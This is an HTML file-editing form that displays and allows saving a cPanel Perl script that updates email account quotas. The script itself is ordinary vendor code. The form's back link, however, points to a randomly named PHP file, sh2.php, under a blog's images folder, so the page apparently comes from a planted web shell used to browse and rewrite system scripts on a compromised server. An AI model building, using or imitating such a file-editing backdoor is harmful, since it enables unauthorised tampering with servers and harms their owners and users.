<h2>Edit File - update_existing_mail_quotas_for_account</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/update_existing_mail_quotas_for_account">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/update_existing_mail_quotas_for_account
#                                                  Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::update_existing_mail_quotas_for_account;

use cPstrict;

use parent qw( Cpanel::HelpfulScript );

use Cpanel::AcctUtils::Account ();
use Cpanel::Config::Users      ();
use Cpanel::JSON               ();
use Cpanel::PIDFile            ();
use Cpanel::SafeRun::Errors    ();

use Try::Tiny;

=encoding utf-8

=head1 NAME

scripts::update_existing_mail_quotas_for_account

=head1 SYNOPSIS

    update_existing_mail_quotas_for_account [ --all --quota &lt;quota_in_megabytes&gt; | --user &lt;username&gt; --quota &lt;quota_in_megabytes&gt; | --help ]

    NOTE: &lt;quota_in_megabytes&gt; must be a positive integer.  Use 0 for unlimited or maximum allowed quota (based on MAX_EMAILACCT_QUOTA for account).

=head1 DESCRIPTION

This command will update the quota for all existing email accounts for a given user
or for all users on the system

=cut

our $PID_FILE = &#039;/var/run/update_existing_mail_quotas_for_account.pid&#039;;

# Use bin/uapi instead of Cpanel::API::execute because this script is uncompiled
# and the API code we need is not shipped
our $uapi_bin = &#039;/usr/local/cpanel/bin/uapi&#039;;

sub _OPTIONS {
    return qw( user=s all quota=i );
}

__PACKAGE__-&gt;new(@ARGV)-&gt;script() unless caller();

sub script ($self) {

    my $quota = $self-&gt;getopt(&#039;quota&#039;);
    if ( !defined $quota || $quota &lt; 0 ) {
        print &quot;\n&quot; . $self-&gt;help();
        return;
    }

    if ( $self-&gt;getopt(&#039;user&#039;) ) {
        my $user = $self-&gt;getopt(&#039;user&#039;);
        print &quot;Changing quota to ‘${quota}MB’ for all email accounts owned by the user ‘$user’\n&quot;;

        try {
            $self-&gt;call_for_one_user( $user, $quota );
        }
        catch {
            warn &quot;There was an error updating the quotas of all email addresses for ‘$user’: $_\n&quot;;
        };

        return;
    }
    elsif ( !$self-&gt;getopt(&#039;all&#039;) ) {
        print &quot;\n&quot; . $self-&gt;help();
        return;
    }

    Cpanel::PIDFile-&gt;do(
        $PID_FILE,
        sub {
            print &quot;Changing quota to ‘${quota}MBs’ for all email accounts of all users\n&quot;;

            for my $user ( Cpanel::Config::Users::getcpusers() ) {
                try {
                    $self-&gt;call_for_one_user( $user, $quota );
                }
                catch {
                    warn &quot;There was an error updating the quotas of all email addresses for ‘$user’: $_\n&quot;;
                };
            }
        }
    );

    return;
}

sub call_for_one_user ( $self, $user, $quota ) {

    Cpanel::AcctUtils::Account::accountexists_or_die($user);

    my $mail_accounts = $self-&gt;get_mail_accounts($user);
    foreach my $mail_account (@$mail_accounts) {
        my ( $email, $domain ) = split /@/, $mail_account;
        try {
            print &quot;… updating ‘$mail_account’ account for ‘$user’ user\n&quot;;
            $self-&gt;update_mail_quota( { user =&gt; $user, quota =&gt; $quota, email =&gt; $email, domain =&gt; $domain } );
        }
        catch {
            warn &quot;There was an error updating the quota for ‘$mail_account’: $_\n&quot;;
        };
    }

    return;
}

sub update_mail_quota ( $self, $opts ) {

    my $json = Cpanel::SafeRun::Errors::saferunnoerror(
        $uapi_bin,
        $&lt; ? () : ( &#039;--user&#039;, $opts-&gt;{user} ),    # if we are running as root, we need to tell it which user to run the API call for
        &#039;--output&#039;, &#039;json&#039;,
        &#039;Email&#039;,    &#039;edit_pop_quota&#039;,
        &#039;email&#039;,    $opts-&gt;{email},
        &#039;domain&#039;,   $opts-&gt;{domain},
        &#039;quota&#039;,    $opts-&gt;{quota},
    );
    my $res = Cpanel::JSON::Load($json);

    if ( !$res-&gt;{result}{status} ) {
        my $errors = join( &quot;\n&quot;, @{ $res-&gt;{result}{errors} } );
        die &quot;Email::list_pops API call failed:  $errors&quot;;
    }

    return;
}

sub get_mail_accounts ( $self, $user ) {

    my $json = Cpanel::SafeRun::Errors::saferunnoerror(
        $uapi_bin,
        $&lt; ? () : ( &#039;--user&#039;, $user ),    # if we are running as root, we need to tell it which user to run the API call for
        &#039;--output&#039;, &#039;json&#039;,
        &#039;Email&#039;,    &#039;list_pops&#039;,
    );
    my $res = Cpanel::JSON::Load($json);

    if ( !$res-&gt;{result}{status} ) {
        my $errors = join( &quot;\n&quot;, @{ $res-&gt;{result}{errors} } );
        die &quot;Email::list_pops API call failed:  $errors&quot;;
    }

    my $data     = $res-&gt;{result}{data};
    my $accounts = [];
    foreach my $account_href ( @{ $res-&gt;{result}{data} } ) {
        next if $account_href-&gt;{login} eq &#039;Main Account&#039;;
        push @$accounts, $account_href-&gt;{login};
    }

    return $accounts;
}

1;
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>